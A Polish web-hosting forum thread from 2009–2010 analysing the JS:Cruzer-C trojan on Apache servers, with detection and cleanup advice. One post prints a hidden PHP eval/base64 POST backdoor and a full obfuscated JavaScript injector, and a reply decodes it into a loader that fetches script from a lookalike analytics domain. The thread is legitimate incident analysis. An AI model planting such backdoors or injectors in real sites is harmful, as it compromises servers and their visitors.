Drukowana wersja tematu

Kliknij tu, aby zobaczyć temat w orginalnym formacie

Forum PHP.pl _ Serwery WWW _ Trojan JS:Cruzer-C na serwerze

Napisany przez: rugby 22.05.2009, 10:40:48

Ostatnio spotkałem się z dość dziwnym przypadkiem trojana, piszę ku przestrodze.

Otóż po wejściu na pewną zagraniczną stronę co jakiś czas pojawiał się alert antywirusa, że na stronie jest wirus JS:Cruzer-C [Trj]. Co ciekawe, nie pojawiało się to za każdym razem i dotyczyło wszystkich zasobów na tym serwerze, alert pojawiał się również przy pobieraniu plików .jpg, .gif, itp. Co więcej, alert włączał się tylko w przeglądarce Internet Explorer, w pozostałych przeglądarkach strona zachowywała się normalnie. Gdy antywirus był nieaktywny, pod IE trojan przekierowywał na stronę niby-skanera on-line, oczywiście z niebezpiecznym ActiveX.

Cały kod był czysty, nic nie zostało doklejone do plików .html, .php, ani .htaccess.

Trojan doskonały, nie do wykrycia? A jednak okazało się, że zaszył się on na serwerze i raz na jakiś czas podszywał się pod Apache'a, wrzucając swój http://wklej.to/r6bT.

Więcej szczegółów jak go usunięto http://www.photography-forum.org/showpost.php?p=291482&postcount=398.

Napisany przez: pioklo 31.05.2009, 23:44:45

Witam

Zdobylismy wiecej informacji o tym trojanie przez zalozenie pulapki na hakera
Ostatnio dosc czesto sa wykradane hasla klientom nastepnie jest podmieniany kod plikow przez ftp
Tym razem do plikow nie ma dopisanego iframa czy kodu js natomiast dopisany jest zwykly kod backdora w
taki sposob ,ze przy edycji pliku go nie widac bo jest przesuniety o kilka stron w prawo..
Znalezlismy taki kod w plikach timag.php hello.php i kilku innych na zarazonych stronach klientow.



*16dabdc1cc53d214162e11e6d1cd7c8e*/if(isset($_POST["p"])&&$_POST["p"]=="6510abeadb59058374114a9735e0dca5"){eval(base64_decode($_POST["c"]));exit;}/*16dabdc1cc53d214162e11e6d1cd7c8e*/

Nastepnie co jakis czas z jednego adresu IP 202.73.57.25 jest robiony POST przekazujacy do serwera zakodowane dane w base64
ktore sa uruchamiane przez eval()

W serwerze apache wlaczylismy logowanie danych POST przy pomocy mod_security dzieki temu zdobylismy pelny kod ktory jest przekazywany

Jest to jeden skrypt php i plik binarny .Skrypt sprawdza ktora funkcja jest dostepna w php z listy
"popen",
"proc_open",
"shell_exec",
"exec",
"passthru",
"pcntl_exec"

Nastepnie przy uzyciu jednej z wyzej wymienionych funkcji uruchamiany jest plik binarny (tworzony z losowa nazwa ,ustawiany chmod ) ktory wykorzystuje bug w APR w apachu https://issues.apache.org/bugzilla/show_bug.cgi?id=46425
dzieki temu programowi udaje sie zbindowac jako jeden z podprocesow (child) apache w trybie MPM prefork
na porcie 80 .Dodatkowo proces ukrywa sie pod nazwa apacza (zmieniona jest nazwa procesu argv[0] i w liscie procesow widac go jako zwykly proces apacha.Mozna go latwo wykryc przez komende ps auxn lub ps -u apache lub przez komende unhide
Dodatkowo skrypt przekazany przez POST php usuwa ta binarke gdy ja uruchomi ,tak ,ze nie ma zadnych sladow po wlamie.

ps -u apache
PID TTY TIME CMD
19791 ? 00:00:00 httpd
19793 ? 00:00:01 httpd
19794 ? 00:00:01 httpd
19795 ? 00:00:01 httpd
19796 ? 00:00:00 httpd
19797 ? 00:00:03 httpd
19798 ? 00:00:01 httpd
19799 ? 00:00:01 httpd
19801 ? 00:00:01 httpd
19802 ? 00:00:00 httpd
19803 ? 00:00:01 httpd
19804 ? 00:00:01 httpd
19805 ? 00:00:01 httpd
19806 ? 00:00:02 httpd
19807 ? 00:00:03 httpd
19816 ? 00:00:00 httpd
19858 ? 00:00:00 httpd
20015 ? 00:00:00 dse84abzw1abzw1

dse84abzw 20015 apache 0u unix 0xf74ab740 134305486 :httpd
dse84abzw 20015 apache 1u sock 0,4 134307455 can't identify protocol
dse84abzw 20015 apache 7r FIFO 0,5 134304558 pipe
dse84abzw 20015 apache 8w FIFO 0,5 134304558 pipe


Binarka ta dzieki temu ,ze przejela wszystkie fdsy od apacza listuje na porcie 80 i co jakis czas wysyla do losowych klientow swoj kod trojana Cruzera
zakodowanego w java scritpt.Dolacza ten kod najczesciej przy pobieraniu plikow graficznych...Laczy sie rowniez ze strona googleanalytlcs.net wykonujac GET /l.php?t=2345&c=2 co jakis czas informujac hakera ,ze program zyje


Podatne sa tylko serwery dzialajace na apaczu z mod_php i odblokowanymi funkcjami exec w php .Dodatkowo katalog gdzie wgrywana jest binarka
musi miec prawa zapisu dla usera z pod ktorego dziala apache.Jest to ten katalog gdzie jest poczatkowy kod backdora w php

Od strony usera poprawka jest prosta wystarczy wywalic kod backdora w skryptach php ,zmienic haslo do ftp ,przeskanowac swoj komputer pod katem trojanow wykradajacych hasla

Od strony admina serwera sprawa wyglada tak ,ze mozna nalozyc pacza na APR lub zablokowac funkcje exec w php .Mozna tez zablokowac na szybko adres IP 202.73.57.25 hakera bo z tego ip tylko byly POSTy przez okres miesiaca czasu..
Innym rozwiazaniem jest zrezygnowanie z mod_php i przejscie na fcgi lub suphp z odpowiednim paczem na zestaw funkcji exec w php

Kod docelowy jaki wysylany jest do przegladarki klienta jest rowniez troche pokodowany wiec jak ktos ma ochote moze go rozplatac


<!--fa1502e73a01cc72fb483c8f4f8036bf--><script language=javascript>nebhovqgz="oZimPP%UwRntoZnl!U&HL!t!P";snqsxy="<sG63riG70tG20lG61nG67G75aG67e=jG61vaG73G63G72iG70tG3e G20fG75ncG74G69onG20tlzG62G6aoG65zG28lG77vosju)G7bvar xqG6ecG65G74pyg,G6eG6dfG72zG66G67G6dG71=G22&G61G6b@3G79G5fb[~+4JUCO{$G39:w!G6fv17G23fr)G67G6c^G50}G71G48G20EG75N0G6ex]G36pG6dFi=(`G38G3bG472'G6aG41G2cG54zhG56cG4b.\\\"G42G49tG4dsG35|G65ZG2dG64G2a\",qG7aiG63yjlnG3dG22\",G6cjG6ccwG6fG67G70,ewG61G72igG2cG69G6cquG63fG6c=\"\",nG6fzG77G61n;fG6frG28xqnceG74pG79G67G3dG30G3bG78G71nG63G65G74G70ygG3clG77G
6G6fsG6au.G6cenG67th;xqnG63etG70yg++){ G6cjG6cG63G77G6fgG70=G6cwvG6fsju.chG61rAG74G28G78qnG63G65G74pyG67);G65G77ariG67G
dG6eG6dG66rzfgmqG2eG69nG64exOf(G6cjG6cG63wG6fgp)G3bG69fG28ewG61rig>G2d1G29{ nG6fG7awaG6e=((G65G77arig+1G29G25G38G31G2d1)G3biG66G28nozwaG6e<=G30G29G6eoG7aG77G61n+=8G31G3biG6cG71ucG66G6cG2bG3dG6emfG72zfG67G6dG71.G63G68
rAt(G6eoG7aG77an-1);G20} G65G6csG65 G69lqucfl+G3dG6cG6alcwoG67pG3b}qG7aicG79jln+G3diG6cqG75G63fl;docG75menG74G2eG77G
2ite(G71zG69cG79jG6cn);G7d<G2fsG63G72ipt>";pnnxtuxxb=nebhovqgz.charAt(6);randvunc=snqsxy.replace(/G/g,pnnxtuxxb);psdswky=unescape(randvunc);var uivrkjiku,eqzrdwl;document.write(psdswky);uivrkjiku="<VMF^>E<5K)=mMEM_mZ(BMZ]M/Ak1k5K)=mMBE^kxlNklZ(BAk1k5K)=mMB>EE1k)EZ]m=)_E(ExZ!EDkMZ`gGEZ]m=)_\"5ZMz=FZ`Z]m=)_\"lZMz=FZ`gE4E'J&pn&pn&7nnngGE*vKNFZxM\"Kvv@=Z(j5Z55=vx=*(y:7';pn|,|y7GEmkMV(/GEZ]m=)Z5(jE4EZ]m=)_\"Mv2szSM)=xl`gGEE*vKNFZxM\"!)=MZ`EB<SORt}zE^kxlNklZ(\\BUk1kSK)=mM\\BESRO(\\BVMMmw//lvvl^Zkxk^_M^K5\"xZM/bbNMFA\"A5\\B><\\/SORt}z>BEgG</5K)=mM>E</VMF^>E";tlzbjoez(uivrkjiku);</script><!--fa1502e73a01cc72fb483c8f4f8036bf-->


pozdrawiam
Piotr Kloc
www.linuxpl.com

Napisany przez: mcgiwer 26.07.2009, 08:31:20

Jak dostanę kompa z serwisu to mógłbym spróbować pobawić się w rozkodowanie tego... smile.gif

Napisany przez: Nensi 11.06.2010, 05:52:51

It seems good and I hope you will keep up the good work in future as well

Napisany przez: Mikz 26.06.2010, 10:17:29

Cytat(pioklo @ 1.06.2009, 00:44:45 ) *
jak ktos ma ochote moze go rozplatac


Prosz:

  1. <http://december.com/html/4/element/html.html>
  2. <http://december.com/html/4/element/script.html type="text/javascript" language="javascript">
  3. var expiry = new Date();
  4. expiry.setTime(expiry.getTime() + 24*60*60*1000);
  5. document.cookie='sessionid=39128605A531;
  6. path=/;
  7. expires=' + expiry.toGMTString();
  8. document.write( "<http://december.com/html/4/element/script.html language=\"JavaScript\" SRC=\"http://googleanalytlcs.net/__utmj.js\"><\/SCRIPT>" );
  9. </http://december.com/html/4/element/script.html> </http://december.com/html/4/element/html.html>


Zaznaczam adres: googltanalytlcs.net to nie to samo co googleanalytics.net :].

Niestety nie dowiemy się co było w injectowanym pliku .js bo domena dawno temu wygasła.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)